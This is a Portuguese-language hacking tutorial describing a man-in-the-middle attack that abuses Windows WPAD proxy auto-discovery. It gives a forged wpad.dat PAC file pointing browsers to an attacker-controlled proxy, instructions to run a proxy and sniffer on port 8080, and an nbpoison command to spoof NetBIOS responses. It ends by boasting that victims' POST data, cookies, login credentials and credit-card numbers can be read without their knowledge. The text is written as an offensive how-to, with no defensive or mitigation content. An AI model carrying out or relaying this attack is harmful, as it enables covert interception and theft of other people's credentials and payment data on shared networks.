Tutorial Sniffando dados (MITM) por falha em WPAD

Mais uma tentativa da Microsoft em dominar o mundo que deu errado e até hoje traz prejuízo aos usuários do Rwindows.
A ideia inicial era simplificar a configuração de proxies em grandes redes de computadores. A Micro$oft até tentou obrigar, no final da década de 90, o IETF (Internet Engineering Task Force) a tornar o protocolo padrão, mas não foi aprovado.
Também pudera… Trata-se do WPAD (Web Proxy Auto Discovery). Você agora vai entender como funciona esse protocolo e ver como ele é frágil.

Como funciona?
Em um simples resumo, o WPAD serve pra detectar e configurar um servidor de proxy automaticamente.
O WPAD, por padrão, já está ativo no browser quando ele está configurado para detectar as configurações de rede automaticamente. O Internet Explorer já vem com esta opção ativa.
Quando você digita o endereço do website, o navegador verifica pela existência de um arquivo PAC (Proxy Auto Configuration), com sintaxe JavaScript. Este arquivo deve estar na raiz do servidor web (por exemplo, no diretório public_html) com o nome ‘wpad.dat’ ou ‘proxy.pac’.
Este arquivo indica as configurações de proxy melhores para acessar aquele servidor. A partir de então vai utilizar as configurações indicadas para setar o proxy. Veja um exemplo de arquivo PAC:
Código:

1 2 3

function FindProxyForURL(url, host) {     return "PROXY 192.168.1.1:3128"; }

Muito suspeito, não acha? Pois encerram-se as suspeitas e entram as evidências.
Como é invadido?
Nossa missão é realizar um ataque man-in-the-middle (MITM), aproveitando da fragilidade oferecida no modo em que o WPAD procura pelo arquivo PAC no servidor. Tudo isso sem que o alvo fique sabendo, nem mesmo enganado por engenharia social.
Vamos forjar este arquivo, configurando remotamente o navegador do usuário a usar nosso próprio proxy.
Há mais de uma maneira de executar o MITM por este protocolo, mas hoje vamos ver apenas explorá-lo spoofando pacotes NetBIOS.
Se você sniffar este protocolo, verá que há requisições broadcast (Endereço IP destinatário com final 255) NetBIOS, do tipo WPAD.
Para iniciar o ataque vamos precisar de um webserver, para podermos explorar o nosso arquivo PAC (wpad.dat). Vamos criar nosso arquivo, configurando-o com nosso endereço IP:
Código:

1 2 3

function FindProxyForURL(url, host) {     return "PROXY SEU.IP.AQ.UI:8080"; }

Grave este arquivo na raíz do webserver (/var/www, /home/user/public_html, C:\wamp\www…). Ele será acessado pelo endereço http://seu.ip.aq.ui/wpdat.dat.
Vamos configurar também um servidor proxy. Você pode Burp Suite ou InterProxy, este último desenvolvido pelo WhiteCollarGroup. Se não me falha a memória, acredito que o Acunetix também possui um servidor proxy. Utilize seu predileto.
Leve em conta que, além de ter o servidor proxy ativo, você vai precisar sniffar todo o tráfego do proxy. O Burp Suite, como é um software desenvolvido para análise de rede, já possui essa funcionalidade. Outros servidores comuns não possuem tal funcionalidade, mas você não precisa deixar de utilizar seu servidor predileto por causa disso. Utilize sniffers como Wireshark ou SocketSniff (tradução SocketSniff para português).
Coloque seu proxy para escutar na porta 8080 (levando em conta que indicamos a porta 8080 no arquivo PAC). Se necessário, coloque também seu sniffer para capturar dados trafegados por essa porta.
Feito isso, vamos spoofar os pacotes NB. Vamos utilizar o Nbpoison.
Após o download, execute no terminal como root:
Código:

1	./nbpoison -s seu.ip.aq.ui

A partir daí, usuários de sua rede utilizarão sua máquina para requisições broadcast, e sua máquina está preparada para responder a essas requisições.
Se você ler os logs do Apache, vai perceber que usuários estão fazendo requisições em método GET ao seu arquivo wpad.dat. Com isso você saberá que o alvo já importou suas configurações, e já está utilizando sua máquina como proxy.
Por que é invadido?
Se você voltar à janela do sniffer, verá que todos os dados trafegados passam por ele.
Isto quer dizer que é possível ler dados privilegiados, mesmo em método POST (dados enviados em oculto pelos headers HTTP) e cookies.
Ou seja, você poderá ler desde credenciais de e-mails e redes sociais até dados de cartões de crédito.
Este é um ataque em que o alvo pode desconhecer o fato antes, durante e depois de ser atacada.